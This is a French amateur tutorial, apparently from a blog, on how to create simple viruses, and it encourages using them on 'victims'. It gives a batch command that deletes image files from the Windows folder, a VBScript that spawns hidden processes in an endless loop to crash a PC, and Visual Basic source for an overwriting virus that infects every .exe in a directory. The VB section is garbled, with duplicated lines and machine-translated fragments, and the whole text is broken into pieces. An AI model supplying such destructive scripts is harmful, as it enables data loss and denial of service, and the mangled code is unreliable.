des virus, on
entend beaucoup parler, on a tous été
infecter un jour ou
l’autre par ces programmes. Parce que
avant tous un virus
est un programme.
fonctionne mais aussi
comment en créer ; bien sur !
commencer avec
des virus plutôt simple vous allez le voir :
parmi les
premiers à être apparus.
Avant toute chose je tiens a vous avertir que cette article
n'est là que dans un but
pédagogique, et vous n'étes nullement incités à reprtoduire
ceci sur votre pc. Vous etes
donc résponsable de vos actes et ni moi ni mon hébérgeur
ne seons tenu pour responsable.
Nous allons apprendre à créer un petit virus en *bat. :
C’est partit :
Pour commencer, ouvrez votre editeur de
texte prèfèré (ex : bloc-note).
Ensuite, tapes
sans sauter de ligne :
del C :windows*.bmp cls
Après, enrigistrer le code avec l’extension *.bat
Attention : N’ouvrez en aucun cas le fichier sur
votre ordinateur,
le virus s’exécutera !
Comment ça marche, explications:
del C:windows*.bmp
del : sert à supprimer
C:windows : situe le dossier où la commande doit avoir lieu
* : suivit d'une extension désigne tous les dossiers portant
cette extension dans l'exemple l'extension est *.bmp .Donc
ce mini virus supprimera tous les fichiers portant l'extension
*.bmp (en locurrence des images) se trouvant dans windows.
l’extension en une autre plus importante, mais la, je laisse
libre choix à votre imagination !^^
Créer un virus plus méchant…
vous rêvez de savoir planter des pc très facilement ?^^
C’est partit :
Commencez, par ouvrir votre editeur de text.
Ensuite, tapes le code suivant :
Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop
Après, enregistrez le avec le nom que vous voulez, avec l’extension .vbs
Petite précision :
Ici, le bloc-note (celui de windows) représente l'application
désirée, vous pouvez la remplacer par une application plus lourde
(pour des résultats plus rapides et meilleurs).
false : signifie que les fenêtres ne doivent pas être initialisées,
seulement les processus pour que la victime ne se rende pas compte.
Loop : signifie que ça doit se faire en boucle : ça doit lancer le
bloc-note, recommencé et ainsi de suite.
dans la création de virus apprenez le Visual Basic (qui est un
langage de programmation plutôt simple)
des échantillons de vrais virus bien méchant !
basic simplement" laissez des coms.
parti:2
de nombreuses formes avec de
nombreuses fonctions différentes.
Certains sont plutôt simplistes et
peuvent être détectés par
l'utilisateur moyen tandis que
d'autres sont complexes et
passent inaperçus pendant
un certain temps. Les virus les plus courants
relevant de la classification des infecteurs de fichiers,
qui fonctionnent en infectant des fichiers exécutables.
Ils y parviennent en insérant leur code malveillant
dans une zone du fichier d'origine, lui permettant
d'être exécutée chaque fois que le fichier est
accessible Certains d'entre eux sont capables de
complètement écraser un fichier, ce qui rend tout un programme inutile.
Les virus Overwritters.
chance de se propager et ils ne sont pas "intelligent". Malgré tout cela
overwritters peut vous aider à comprendre les bases du VRAI virus.
Je vais vous donner le code d'abord et ensuite on va le passer en revue.
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=Const As Integer = 11776
Private Sub Form_Load ()
".exe" For Binary Access Read As #Free
Open App.Path & "\" & & App.EXEName
". Exe" pour l'accès binaire Lire Comme # Free
"*.EXE") victime = Dir (App.Path &
"\" & "*. exe")
Binary Access Write As #Free Open App.Path
& "\" & victime pour l'accès binaire
Ecrivez comme # Free
-=-=-=-=-=-=-=-=-=- Couper ici-=-=-=-=-=-=-=-=- =-=-=() As Byte
mysize Const As Integer = 11776
variable qui contient le code binaire du virus, "victime" est la variable qui
contient le nom du fichier de la victime et le "mysize" variable
contient la taille du virus.
Form_Load ()
et nous avons mis notre erreur poignée c'est-à-dire qu’en cas
d’erreur le programme s’arrêtera là.
Cela vous débarrasse de la lecture / écriture des erreurs, car il est open source.
".exe" For Binary Access Read As #Free
Open App.Path & "\" & & App.EXEName
". Exe" pour l'accès binaire Lire Comme # Free
(mysize)
nous allons le stocker dans la variable "myarray".
"*.EXE") victime = Dir (App.Path &
"\" & "*. exe")
Binary Access Write As #Free Open
App.Path & "\" & victime pour l'accès
binaire Ecrivez comme # Free
code binaire dans le programme de la victime.
du processus d'infecter tous les fichiers. Exe dans le répertoire courant.













